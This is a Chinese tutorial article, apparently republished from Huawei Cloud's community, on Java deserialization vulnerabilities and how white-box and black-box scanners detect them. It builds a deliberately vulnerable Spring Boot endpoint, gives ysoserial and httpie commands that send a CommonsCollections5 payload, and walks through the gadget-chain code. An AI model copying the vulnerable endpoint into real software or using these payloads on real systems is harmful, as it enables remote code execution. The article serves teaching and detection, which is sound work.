带你掌握java反序列化漏洞及其检测
摘要:在本文中将先介绍java反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测、扫描此类漏洞。
本文分享自华为云社区《java反序列化漏洞及其检测》,作者: alpha1e0。
1 java反序列化简介
java反序列化是近些年安全业界研究的重点领域之一,在Apache Commons Collections 、JBoss 、WebLogic 等常见容器、库中均发现有该类漏洞,而且该类型漏洞容易利用,造成的破坏很大,因此影响广泛。
在本文中将先介绍java反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测、扫描此类漏洞。
1.1 什么是反序列化
Java 序列化是指把 Java 对象转换为字节序列的过程,序列化后的字节数据可以保存在文件、数据库中;而Java 反序列化是指把字节序列恢复为 Java 对象的过程。如下图所示:
序列化和反序列化通过ObjectInputStream.readObject()和ObjectOutputStream.writeObject()方法实现。
在java中任何类如果想要序列化必须实现java.io.Serializable接口,例如:
public class Hello implements java.io.Serializable { String name; }
java.io.Serializable其实是一个空接口,在java中该接口的唯一作用是对一个类做一个 标记 让jre确定这个类是可以序列化的。
同时java中支持在类中定义如下函数:
private void writeObject(java.io.ObjectOutputStream out) throws IOException private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException;
这两个函数不是java.io.Serializable的接口函数,而是约定的函数,如果一个类实现了这两个函数,那么在序列化和反序列化的时候ObjectInputStream.readObject()和ObjectOutputStream.writeObject()会主动调用这两个函数。这也是反序列化产生的根本原因
例如:
public class Hello implements java.io.Serializable { String name; private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { Runtime.getRuntime().exec(name); } }
该类在反序列化的时候会执行命令,我们构造一个序列化的对象,name为恶意命令,那么在反序列化的时候就会执行恶意命令。
在反序列化的过程中,攻击者仅能够控制“数据”,无法控制如何执行,因此必须借助被攻击应用中的具体场景来实现攻击目的,例如上例中存在一个执行命令的可以序列化的类(Hello),利用该类的readObject函数中的命令执行场景来实现攻击
1.2 反序列化漏洞示例复现
在这里我们构造一个有漏洞的靶场进行漏洞复现测试:使用spring-boot编写一个可以接收http数据并反序列化的应用程序。
使用 https://start.spring.io/ 生成一个spring-boot应用,选择Maven Project、java8
下载到本地,导入IDE,修改 pom.xml 加入 Apache Commons Collections 3.1 依赖(该版本存在反序列化漏洞)
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
修改 DemoApplication.java 为如下代码
package com.example.demo; import java.io.IOException; import java.io.ObjectInputStream; import javax.servlet.http.HttpServletRequest; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.GetMapping; @SpringBootApplication @RestController public class DemoApplication { public static void main(String[] args) { SpringApplication.run(DemoApplication.class, args); } @GetMapping("/hello") public String hello() { return "hello world"; } // 反序列化接口 @PostMapping("/rmi") public String rmi(HttpServletRequest request) { try { ObjectInputStream ois = new ObjectInputStream(request.getInputStream()); Object obj = (Object) ois.readObject(); return "unmarshal " + obj.getClass().getName() + " ok"; } catch (ClassNotFoundException | IOException e) { return "unmarshal failed"; } } }
此时我们就完成了一个有 Apache Commons Collections 漏洞的验证靶场,启动该靶场应用
我们使用ysoserial 生成攻击payload:
java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "calc.exe" > poc
然后使用httpie 发送攻击payload(poc)
http post http://127.0.0.1:8080/rmi < poc
这时候就可以看到poc中的命令执行了
1.3 反序列化漏洞解析
在1.2 的示例中我们使用了 ysoserial 的 CommonsCollections5 这个payload,本节我们对此poc进行分析
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( // 执行“链条”该类的transform会调用transformer使用反射执行命令 new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), // 这里是我们输入的命令 calc.exe new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); // 该类的get接口如果输入的key找不到会调用transform函数触发命令执行 TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); // 该类的toString会最终调用lazyMap.get BadAttributeValueExpException val = new BadAttributeValueExpException(null); // 最终反序列化的类,readObject会调用entry.toString Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); return val; }
可以最终反序列化的对象为 javax.management.BadAttributeValueExpException ,在该类提供了 readObject 方法,在其中有问题的地方为
val = valObj.toString();
这里的 valObj 为 TiedMapEntry(lazyMap, “foo”) ,该类的toString方法
public String toString() { return this.getKey() + "=" + this.getValue(); }
其中 this.getValue 为
public Object getValue() { return this.map.get(this.key); }
而 this.map 为 lazyMap = LazyMap.decorate(innerMap, transformerChain),在 lazyMap 中
public Object get(Object key) { if (!super.map.containsKey(key)) { // 当找不到key的时候调用transform Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
在其中看到,没有找到key的时候,调用了 this.factory.transform(key)
而this.factory为我们构造的包含payload的执行链 transformerChain 该transformer会最终通过反射执行命令。
2 java反序列化漏洞检测
在1中的原理介绍中,我们可以看到,反序列化漏洞需要依赖执行链来完成攻击payload执行。由于反序列化漏洞的特性,在检测的时候漏洞扫描工具一般聚焦已知漏洞的检测,而未知漏洞的检测,安全工具能力非常有限,一般需要专业人员通过安全审计、代码审计等方式发现。
java反序列化漏洞依赖于两个因素:
- 应用是否有反序列化接口
- 应用中是否包含有漏洞的组件
因此对应的漏洞扫描工具也需要根据这两个因素进行检测。
2.1 白盒工具检测
白盒代码审计工具,可通过在调用链中查找是否有发序列化的操作:
- 调用链的入口不同框架是不同的,例如在1.2例子中调用链的入口为spring-boot的controller。
- 调用链中一旦发现有发序列化操作ObjectInputStream.readObject()则该接口存在序列化操作
但仅仅依靠以上信息不足以判断是否存在漏洞,还需要判断代码中是否有存在*执行链**的三方依赖。在java中,一般通过分析 pox.xml build.gradle 文件来分析是否包含有漏洞的组件。
2.2 黑盒漏洞扫描器检测
web漏洞扫描器检测原理和白盒工具不一样。
首先漏洞扫描器要解决的是识别出反序列化的请求,在这里需要注意的是web漏洞扫描是无法通过爬虫方式直接发现反序列化接口的,因此往往需要配合其他web漏洞扫描器的组件(例如代理组件)来识别反序列化接口,如下图所示
如今web漏洞扫描器都提供了代理组件来发现应用的http请求,爬虫组件可通过前台页面触发请求进入代理组件;但在API场景下,还是需要测试人员进行API调用该操作才能够产生http请求数据。
在截获到http请求数据后,代理组件可以通过两种方式判断一个请求是否是序列化请求:
- 通过http请求的Content-Type,具体来说ContentType: application/x-java-serialized-object 是序列化请求的请求头
- 检查请求数据的开头是否是 0xaced,有时候序列化请求不存在正确的content-type,此时需要根据数据来判断是否是序列化请求
在确定一个接口是序列化接口的时候会漏洞扫描器会发送探测payload判断接口是否有反序列化漏洞,这里的攻击payload类似于1.2节中使用的ysoserial 工具,由于绝大多数情况下不可能看到回显(http返回数据没有攻击执行结果),因此只能进行盲注,即发送 sleep 10 这样的命令,根据响应时间判断是否有漏洞。
文末福利:华为云漏洞扫描服务VSS 基础版限时免费体验>>>

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
阿里云发布全新开源操作系统“龙蜥”
10 月 20 日,2021 云栖大会上,阿里云发布全新操作系统“龙蜥”并宣布开源。同时,阿里达摩院操作系统实验室也宣告成立。 龙蜥操作系统定位于服务器端,支持 x86、ARM 等多种芯片架构和计算场景,兼容 CentOS 生态,支持一键迁移,并提供全栈国密能力。 阿里云在大会上透露,龙蜥操作系统已经在阿里巴巴内部打磨 10 年,有效支撑了历年天猫双11,性能和稳定性都经受住了严苛的考验。此外还针对云原生应用开发做了多重优化。 据悉,龙蜥操作系统完全开源,通过开源社区和操作系统厂商等形式提供服务。未来,阿里云计划为龙蜥投入 20 亿专项资金,并联合 100 家生态合作伙伴推动生态建设,提供至少十年技术支持。 根据开源中国之前的报道,龙蜥最新的稳定版是 7 月份发布的 Anolis OS 8.4,发布内容包括ISO、虚拟机镜像和 repo 源。 1、ISO 列表 名称 描述 AnolisOS-8.4-x86_64-dvd.iso x86_64架构的安装 ISO AnolisOS-8.4-aarch64-dvd.iso aarch64架构的安装 ISO AnolisOS-8.4-src-d...
- 下一篇
初探JavaScript PDF blob转换为Word docx方法
PDF转WORD为什么是历史难题 PDF 转Word 是一个非常非常普遍的需求,可谓人人忌危,为什么如此普遍的需求,却如此难行呢,还得看为什么会有这样的一个需求: PDF文档遵循iOS32000的规范是由Adobe 公司推出的文档格式,之所以应用如此广泛,是因为PDF精确定位了每个字符的坐标、根据坐标绘制的各种形状,使用PDF格式传输和打印文档可以保证格式的一致性,然后很多PDF文件是可用于阅读,展示,打印,但编辑起来是非常困难,如格式调整,文字修改,样式调整等,那么就衍生了PDF 转Word这一历史性的需求,但因为两者之间采用的编码规范以及布局机制的完全不一致,导致转换起来会非常复杂,一般的工具不是格式错乱,就是内容错乱,很难达到客户的原生期望。 其难点在于建立从PDF基于元素位置的格式到Word基于内容的格式的映射。PDF文档实际并不存在段落、表格的概念,PDF转Word要做的就是将PDF文档中“横、竖线条围绕着文本”解析为Word的“表格”将“文本及下方的一条横线”解析为“文本下划线”等等。 两个工具两套规则,自古以来两个工具之间的兼容转换,除非是为一家所有,会有通用的标准和接口...
相关文章
文章评论
共有0条评论来说两句吧...